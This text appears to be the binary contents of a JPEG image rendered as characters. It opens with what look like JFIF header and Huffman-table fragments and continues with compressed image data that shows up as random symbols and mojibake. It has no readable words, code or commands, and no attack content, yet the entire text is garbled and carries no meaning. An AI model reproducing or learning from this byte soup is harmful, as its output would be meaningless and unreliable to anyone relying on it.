 $.' ",#(7),01444'9=82<.342 C  2!!22222222222222222222222222222222222222222222222222  }|"        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a        w !1AQ aq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a   ? HRjA <̒.9;r8 Sc*#k0a0 ZY 7/$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me&/lcBa8l S7(S `AI&L@3v, y cF0-Juh!{~?"=nqo~$ѻj]M >[?) ms~=*{7E5);6!,  0G K >a9$m$ds*+ Cc r{ ogf X~2v 8SВ~W5S*&atnݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O!c H%N@<}qlu"a&xHm<*7"& #!|Ӧqfx"oN{F;`!q9vRqR?~8p)ܵRJ Q @Xy{*ORs~QaRqE65I 5+0y FKj}uwkϮj+z{kgx5(fnrFG8QjVVF)2 `vGLsVI,ݣa(`:L0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"asA:rR.v@ jY%`5\ܲ2H׭*d_(ܻ#'X 0r1R>"2~9Ҳ}:XgVI?*!-N=3sϿ*{":4ahKG9G{M]+]˸ `mcϱy=y:)T&J>d$nz2 sn`ܫS;y }=px`M=i* ޲ 1}=qxj Qy`A,2ScR;wfT#`~ jaR59HVyA99?aQ vNq!C=:a#m#bY /(SRt Q~ Cɶ~ VB ~2ONOZrA Af^3\t_-ϦnJ[/|2#[!,O|sV/|IS$cFwt+zTayLPZ>#a ^r7d\u "3 83&DT S@rOW PSܣ[0};NRWk "VHl>Zܠnw :q׷el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c#23ɫx-3iiW"~- yY"8|c-< S#30qmI"d cqf  #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ0!B0A~z{a{kc B ` ==}r Wh{xK% s9U@p7c}1WR^yY\ brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPq׬F~ZY 3"BAF$SN  @(a lbW\vxNjZIF`6 ?! Nxҩҭ OxM{jqR 0 &yL%?y$"\p4:&u$aC$xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0 Rien% 8eeY,S =?E k"bi0ʶI=O:Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0Ul(D2z>a}X ƭ,~C<B6 2| HC#%:a7"Sa'ysK4!0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#copIC~é :^eef # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6y}73G^2~ox:##Sr=k41 r  zo 7"_=`0ld` qt+9?x%m,{.j;%h*:U}qfp}  g$*{XLI:"fB\BUzrRr#Ь +(Px:$SR~tk9ab! S#G'oUSGv4v} Sb{{)PҺ#Bܬ86GˏdTmV$gi&'r:1SSҠ" rP*I[N9_["#Kr.F*I?ts Thյ % =ଣa$|E"~GG O#,yϩ&~\\c1L2HQR :}9!`͐ɾF''yNp|=~D""vn2s~GL IUPUw-/mme] ? aZeki,q0c10PTpAg%zS߰2ĤU]`~I;px?_Z|^agD )~J0E]##o"NO09>"Sưpc`I}˯ JG~ +dcQj's&v6}ib %\r9gxuMg~x}0?*Wa^O*#  1wssRpTpU(u}`Ref  9bݿ 1FS999)e cs{'uOSܺ0fee6~yoƧ9"%f80(OOj&E T&%rKz?.;{aX!xeUd!x9t%wO_ocM- jHX_iK#*) ~@}{ ǽBd0Rn07 y@̢ 9?S ޫ>u'ʴu\"uW5֒HYtL B}GLZTg ܰ fb69\PP 緶;!3Ln]H8:@ S}>oޢ5%k:N ",xfpHbRL0 ~} e pF0'}=T0"!&zt9?F&yR`I #}J'76w`:q*2::ñޤ<  | 'F^q`gkqyxL; Rx?!Y7P}wn ·.KUٿGr4+ %EK/ uvzTp{{wEyvi 0X :}OS'aHKq*mF@\N:t^*sn }29T.\ @>7NFNRӷwEua'[c̐O`. Ps) gu5DUR;aF$`[CFZHUB M<9SRUFwv&#s$fLg8Q$q9Jez`R[' ?zﶥu3(MSs}0@9$&-ߦO"g`+n'k/ !$-1)ae2`g۰Z#r 9|ը}Iѭǻ1Bc.qR u`^սSmk}uzmSi<6{m}VUv3 SqRSԶ9{" bg@R Tqinl!1`+xq~:f ihjz&w"RI'9nSvmUۍ"I-_kK{ivimQ|o-~}j:`|ܨ qRR~yw@q%彶imoj0hF;8,:yuO'|;ڦR%:tF~ Ojߩa)ZVjkHf&#a'R\"Il`9dL9t"Ĭ7}:v /1`!n9!$ RqzRsF[In%f"R~ps9rzaRq6ۦ=0i+?HVRheIr:7f 8<+~[֬]poV%v pzg639{Rr81^{qo 92|ܬ}r=;zC*|+[zۣaS&쭬&C[ȼ3`RL9{j?KaWZVm6E}{X~? z~8ˢ 39~}~u-"cm9s kx]:[[yhw"BN v$ y9@" v[Ƽ* zSd~xvLTT"7j +tCP5:= /"ig#7ki' x9#}}ano!KDl('S?c_;`Ū3 9oW9g!Zk:p6[Uwxnq}qqFesS[;tj~]<:~!x,}V&"AP?&vIF8~SR̬`*:qxA-La-"i g|*px F:n~˯޼BRQC`5*]Q >:*D(cX( FL0`;5R|G#3`0+mѬn ޣ &0❬0 S&{t?ʯ(__`5XY[|Q `2:sO* <+:Mka&ij ƫ?Scun]I: 砯[&xn;6>}'`I0N}z5r\0s^Ml%M$F"jZek 2"Fq`~5+ҤQ G9 q=cᶡ/Ƥ[ iK """p;`tMt}+@dy3mՏzc0 yq~ 45[_]R{]UZp^[& Osz~I btΪ\yaU;Ct*IFF3`"c 1~YD&U \oRa !c[[G}P7 zn>3,=lUENR[_9 SJMyE}x,bpAdcRW9?[H$p"#^9O88zO=!Yy91 ڻM?M#C&nJp#~ G ekϵo_~xuΨQt۲:W6oyFQr $k9ڼs67\myFTK;[ld7ya` eY~q[&vMF}p3gW!8Vn:a/ ,i|R,`!W}1Ӿx~x XZG\vR~sӭ&{]Q~9ʡH~"5 -&U+g j~륢N=Jfd 9BfI nZ8wЮ~a=3x+/l`?"#8-S\pqTZXt%&#` ~{p{m>ycP0(R^} (y%m}kB1Ѯ,#Q)!o1T*}9y< b04H. 9`>}ga `~)\oBRaLSg$IZ~%8)Rcu9b%)S 4ֺ}Z/[H%v#x b t{gn=i%]ܧ! wSp V?5cb_`znxKJ=WT9qx"qzWUNN/O^xe|k{4V^~Gz|[31 rpjgn 0}k90ne+"VbrO]'0oxh`*!T$d/$~N>Wq&Z9O\1o&,-z ~^NCgN)ʩ70'_Eh u*K9.-v<h$W%~g-G~>ZIa+(aM #9l%c  xKGx|"O:8qcyNJyRTj&Omztj ?KaXLebt~A`GBA":g,h`q` e~+[YjWH?N>X<5ǩѼM8cܪX}^r?IrS"Zm:"57u&|" >[XHeS$Ryଠ:2|Df? ZPDC(x0|R;Ms Vi,͹:xi`,GAlVFY:=29n~@yW~eN ]_Go'}э_ЯR66!: gFM~q; eX<#%A0R } G&x&?ZƱkeR Knz`9j%@qR[-$u&9zOJKad"[jײc;&B(g<9nȯGxP.fF}P 31 R}<3a~ 2xV Dr \:}#S}HI\OKuI (GW 񳹸2:9%_3N|0}y lMZT [/9 n3 Mòdd^.}:BNp>czí Y%-*9ܭhRcd,. V`e n/=9xGQKx|b`D@2R 8'} }+D&"R}r22 Ƿs]x9%<({e:Hqǽ`}Ka9ı< ~ O#%iKKlF)'I+(`Sd` "c^ i\hBaq}:W|F BReax-sʬ:W<%$ %CD%Iʤ&Ra0}nxoW0ey'Ża2r# ۰A^9Q=5.(M$~V=SFNW H~kR9+~;khIm9aJ_Z"6 a>a<%2nbQ`\tU 9k15uCL$ݹp P1=Os^uEJx5zy:j:k OcnW;boz{~Vơaa5ksJ@?1{$=ks^nR)XN1OJxFh R"}?xSac*FSi;7~׫3 pw0<%~ P+^ Ye}CR/>>"m~&&>M[h [}"d&RO@3^(ʽ*QZy 1V}?O4Rh6R a3߷ =mR/90CI:c}s۾"xЬˢW$"{PG xZ1R0xE9+ ^rE`70l@.' }zN3U<3*? "c=p '1"kJ H'x+ oN9 d~c+jJz7(W]""?n괺6wN"Z`~:|??-E&®V$~X/& xL7pz^tY78Ue# #r=sU/EjRC4mxNݴ9 u:V ZIcr1xpzsfV9`qLI?\~ChOOmtעxZ}?S#b-X7 g~zzb3Sm*qvsM=w}&ڪ^׵(! ֵen QYSLSNk!/n00vRwSa9-V`[$`(9cq_@Bq`捭0;79?w<|k1 һlnrPNa&} ~-_O'0`!R%]%b1' X՝OR9+*"0O `uaӫ9ԥSy.ox x&(STݽ]Nr3~["veIGlq=M|gsxI6 ]ZΪ,zR}~#`F"iqcD>S G}1^+ i;Vi-Z]ܮ` b٥_/y(@qg W0.: 6 r>QR0+zb+I0TbN"$~)69{0V27SWWccXyKZc'iQLaW`xS\`źʸ&|V|!G[[ 3OrPY=15T~я 64/?Z~k}o፾}3]8濴n}a_6pS)2?WڥiWd}q{*1rXRd&m0cd"J# ,df8Nh;=7pn 6J~O2^S J:6ܷ0!wbO P=:-&} ` 9 r9ϧz> X75XkrѢL 7w}xNHR:2 +uN/'~h!nReQ6Q Ew|Yq1uyz8 `;6i<'[íZhu g>r`x}b2k꣧o~:hTW4|ki"xQ6Ln0 {e#27@^.1NSy e Q=̩B8<Scc> .Fr:~G=k,^!F~ ,}% "rGSYd?aY49PyU !~xm|/NܼPcT,/=Fk|u&{m]۾P>X޽i 0'6߼( !z^:S|,_&a]uѵ4jb~xƩ:,[ = R Y?}ڼ?x,1دv&@q Sz8Xz~"j=} ~h@'hF#p?xQ-lvpxcx&lxG·0L%y?-y`l7>q2A?"F}c!jB:J +Qv=Vu[Qml%R7aIT}x ? a7 1 -Ll}0O=up"3ҶW/!|w}w^qa M8Q?0IEhaX"`a ?!Q!R~q}~O`I0 Jy|!@99>8+u&! ʰ<6Iz S)Z_POw*nm=>Jh]&@nTR6IT ^Fx73!ַa$ 5Io:ȪmY[80*x"k+\ Ho}l"k, c{Z\ Q pz}3} JXOh٥LdR`6G^^[bYRʻd}4  2,; CQĴcmV{W\xx,MRl-n~ ?#}"SҥWN;~)"S9cLj뵿ūikiX7yny} t`V's$9:{wEk c$.~k}AprѢ!`lSs90IÝw&ef"pR9g}Tl} NkUK0Up ^ȥ{Hp`bqϩ^: }' Mz+5x('C$_I?^'z~+-}*?.x^1}My¸&L7&' bqG]˪1$oR8`.q}s־C98cvSfuַ _ۺxר:גxP-/mnQG`Rq=>nr!h`+;3<۩axx*Vtiwi |cRϮ3ֽ̰0 QroZѫO൯w8;k: x ;Ja;9R+g}|I{o2ʲ9 029L\0xb "Bv$&#i>=f N >NXW~5\0^(w2}X$ e888^n^ 9Q~7 DCѵs9W6!2\:?(#'$GJW\ 0E"g;Pv Nsx"}/:t+]JM*"^Ud|0M923"6H^&1oE.7*Htp{g<+cpby=8_skB\j""[9Pb9B& =93LaaXdP.0\0?"J" "S+=@9<AQ׻աxk",J$S}xZWH"UQ ]Xg< ߨg3-qe0*R$ܒ S8}_/e'+-Ӷ[sk%x0-peCr ϒ~=a(QWd\. \F0M>grq+SNHO  ܥݭnJ|P6Kc=Is} Ga)a=#vK:oKٍ&R[sټˏ" pwqSR 9!KS&vD A9 Rq} $SnIV[]}A |k|E Mu R.Idk}yvc iUSZ&zn*j-ɭ/SH\y5 ۠"0 xnz#ԯ, eŴ'c&<ݬ<S`kâna8=ʪ[x"pN02zK8.(v2@ ~xfuyUWa|:%Q^[|o5ZY"^{96Yv*x>_|UִtM9P## z/0-įdd,:p03S{9=+ ![!#="յjHh:[{?.u_%ccA }0x9>~9,ah2 Ary$VN ]=$} #1dMax!^!Kk FN8+{Ҽo[MRoe[_m/k.kg}xsSӴ`zKo0cPC9Y0#^9x˷`09;=aAkNBlcF 2Ҭ]K$ܮ"/H$ fO贵jN̿ xNFdhT9}A>qStһ\ȶc3@#I W.<ѬaA ; q2q $# ! !}9=;Ru+ϥe+$娯'+ZH4qFV9gR208)б>M|¾"i9Jd"O;sr+)DRaF*3d {zwQU~f ~>I+Rq`3Sf]STn4_*5azGC,+1òOcSb2y;cգh:`rNBk gxaX/hx*Tn = 2|(e$ x!'y+S=Y:i -BK":ơ&v-Y=Onjyf4T P`S7={m/ ZK&GbG AS*ÿ IoINU8Rw; 1Y "E Oyto/8~#ñl2f'h?CYd:qӷeĩ RL+~A3g=aRt3 QREw_;haSir ^i!|ROmJ/$lӿ [` >cF61 z7Ldxw9AXO"hm"NT I$pG~:bWS|n>Ϣܢ"%qL^ KpNA< &==ffF!yc $=ϭY]eDH>x_TP"a0ch['7a!?wn5u|c{O1"xsZ&y32  ~AcO45-fR. s~"Ҿ"wo\lxP Xc S5q/>#~Wif$\3 }<9H" ( : 8=+ꨬUAT]{msF0\}&BO}+:x1 ,v ~IZ0ǧ"3 20p9~)Zoq/L Rm}9[#\Bs [; g2SV/[u /a} =xHx." Qxh#a$'u<`:>2>+LSiwF1!eg`S }Vv $|,szΒxD\Rm o| :{Ӷn!0l, ( RR crsa,49MOH!@ }`9w;At0&.클5,u-cKӣ̺U.L0&%2"~x [`cnH}y"keRF{(ة `J#}wg<:;M ^\yhX!vBzrF?B/s<B)۱ w5:se{mѤh]Wm4W4bC3r$ pw`dzt!y`IhM)!edRm'>?wzKcRq6fp$)wUl`ARAgr:Rg[iYs5GK=FMG ``KɦuOQ!R/G`@qzd/(K%}bM x>RRVIY~#"@8 Sgq54v[(q c!FGa? UWZ$y}zק?>"6{""}.$`US& ' r$1(y7 V<~:  Mw'bxb7g~,iF8½k/{!2S/?:$eSRIRg9czrrNObi Ѻ/$,;R vxb" nmxn}3G,.٣u r`[<!@:c9Zh M5-q}G9 ;A-~v^ONxE}PO&e[]Gp /˷81~@B*8@p"8Q~H'8I-% F6U|ڸ ^w`K1K,}ddl0PkG&Uw};y[Zs"["6 Vq,# 8ryA::,c66˴'?t}H--":|Ƭ[  7#99$,+qS\ cy^ݸa"B-9%׮9Vw~vTꢷ%" [x"2gS?6 9#a@bTC*3BA9 =U"2l0iIc2@%94'HԾ@ Tpax::5eMw:_+a3yv " 1Gȫ#  p JvaDE: NFr2qxAau"#Ħ822/[Tr;q`z*(0 ;T:; Skޭ8U{^IZwkXZo_oȡ R2S SVa DRsx|2 [9zs{wnmCO+ GO8e`^G5f{X~,k0< y"vo I=S19)R#;Anc}:t#TkB.0R-Zgum}fJ+#2P~i%S3P*YA}2r:iRUQq0H9!={~ J}Vײm.ߺiYlkgLrT" &wH6`34e &L"%clyîA0 ~$[3u"pNO=  c{rYK ~F "a"Lr1ӯ2<"C".fջ~-g4{[r}xlqpwǻ8rF \c}-gycirw#o95afxfGusJ S/LtT7w,l ɳ;e෨RsgTS^ '~9:+kZd*[ܫ%Rk0}X$k#Ȩ P2bvx"b)m$*8LE8'N y+{uI'wva4fr=u sFlV$ Hс$ =}] :}+"mRlT#nki _T7θd\8=y}R{x]Z#r#H6 Fkr;s.&;s 9HSaխtU-n | vqS{gRtS.P9}0_[;mޭZRX{+"-7!G"9~nrYXp S!ӭoP̏t (0޹s#GLanJ!T#?p}xIn#y'q@r[J&qP}:7^0yWa_79oa #q0{mSyR{v޶eХ̮jR ":b+J y"]d OL9-Rc'SڲejP  qdВjPpa` <iWNsmvz5:Rs\u